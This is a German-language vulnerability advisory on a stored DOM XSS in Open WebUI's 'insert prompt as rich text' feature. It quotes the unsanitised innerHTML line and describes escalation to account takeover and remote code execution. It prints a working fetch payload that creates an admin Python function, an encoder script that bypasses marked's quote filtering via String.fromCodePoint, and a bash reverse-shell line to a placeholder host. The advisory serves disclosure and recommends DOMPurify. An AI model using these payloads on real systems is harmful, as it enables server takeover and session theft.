
Open WebUI ist anfällig für Stored DOM XSS über Eingabeaufforderungen, wenn 'Insert Prompt as Rich Text' aktiviert ist, was zu ATO/RCE führt.
Open WebUI ist anfällig für Stored DOM XSS über Prompts, wenn 'Prompt als Rich Text einfügen' aktiviert ist, was zu ATO/RCE führt.

Die Funktionalität, die benutzerdefinierte Prompts in das Chat-Fenster einfügt, ist anfällig für DOM XSS, wenn 'Prompt als Rich Text einfügen' aktiviert ist, da der Prompt-Text ohne Bereinigung dem DOM-Sink .innerHtml zugewiesen wird. Jeder Benutzer mit Berechtigungen zum Erstellen von Prompts kann dies missbrauchen, um eine Payload zu platzieren, die von anderen Benutzern ausgelöst werden kann, wenn sie den entsprechenden / Befehl zum Einfügen des Prompts ausführen.
Die betroffene Zeile ist
open-webui/src/lib/components/common/RichTextInput.svelte
Line 348 in 7a83e7d
tempDiv.innerHTML = htmlContent;
export const replaceCommandWithText = async (text) => {
const { state, dispatch } = editor.view;
const { selection } = state;
const pos = selection.from;
// Get the plain text of this document
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// Find the word boundaries at cursor
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// Create a temporary div to parse HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- vulnerable
Benutzergesteuertes HTML aus dem Prompt-Text wird ohne (sinnvolle) Bereinigung an tempDiv.innerHTML zugewiesen. marked.parse führt einige Zeichenbeschränkungen ein, bereinigt den Inhalt jedoch nicht, wie in deren README angegeben.

Erstellen Sie einen benutzerdefinierten Prompt wie folgt:

Stellen Sie in den Einstellungen sicher, dass 'Prompt als Rich Text einfügen' aktiviert ist:

Führen Sie den Befehl /poc über ein Chat-Fenster aus.

Beobachten Sie, dass der Alert ausgelöst wird.

Da Administratoren normalerweise über die 'Functions'-Funktion beliebigen Python-Code auf dem Server ausführen können, könnte dieser XSS genutzt werden, um jeden Administrator, der ihn auslöst, zu zwingen, eine solche Funktion mit Python-Code nach Wahl des Angreifers auszuführen.
Dies kann erreicht werden, indem man sie die folgende fetch-Anfrage ausführen lässt:
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
Dies kann nicht direkt erfolgen, da der marked.parse-Aufruf, durch den das HTML geleitet wird, Payloads mit Anführungszeichen neutralisiert.

Um dies zu umgehen, müssen Zeichenfolgen manuell aus ihren Dezimalwerten mit String.fromCodePoint erstellt werden. Das folgende Python-Skript automatisiert die Generierung einer brauchbaren Payload aus gegebenem JavaScript:
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
})
})
""".lstrip().rstrip()
out = ""
for c in payload2:
out += f"String.fromCodePoint({ord(c)})+"
print(f"")
Ein Administrator, der die entsprechende Payload über einen Prompt-Befehl auslöst, wird eine Python-Funktion ausführen, die eine Reverse-Shell-Payload ausführt und dem Angreifer Kommandozeilenzugriff auf den Server gewährt.



Jeder Benutzer, der den schädlichen Prompt ausführt, könnte sein Konto durch schädliches JavaScript kompromittieren, das ihr Sitzungstoken aus dem LocalStorage ausliest und an einen vom Angreifer kontrollierten Server exfiltriert.
Administratorbenutzer, die den schädlichen Prompt ausführen, riskieren die Gefährdung des Backend-Servers durch Remote-Codeausführung (RCE), da schädliches JavaScript, das über die Schwachstelle läuft, verwendet werden kann, um Anfragen als Administratorbenutzer zu senden, die schädliche Python-Funktionen ausführen, die Betriebssystembefehle ausführen können.
Benutzer mit niedrigen Berechtigungen können standardmäßig keine Prompts erstellen; es wird die Berechtigung USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS benötigt, die z. B. über eine benutzerdefinierte Gruppe vergeben werden kann. Siehe: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions
Ein Opferbenutzer, der den Befehl zum Auslösen des Prompts ausführt, muss die Einstellung 'Prompt als Rich Text einfügen' in den Einstellungen aktiviert haben, damit die Schwachstelle ausgelöst wird. Die Einstellung ist standardmäßig deaktiviert. Benutzer mit deaktivierter Einstellung sind nicht betroffen.
Bereinigen Sie das benutzergesteuerte HTML mit DOMPurify, bevor Sie es .innerHtml zuweisen.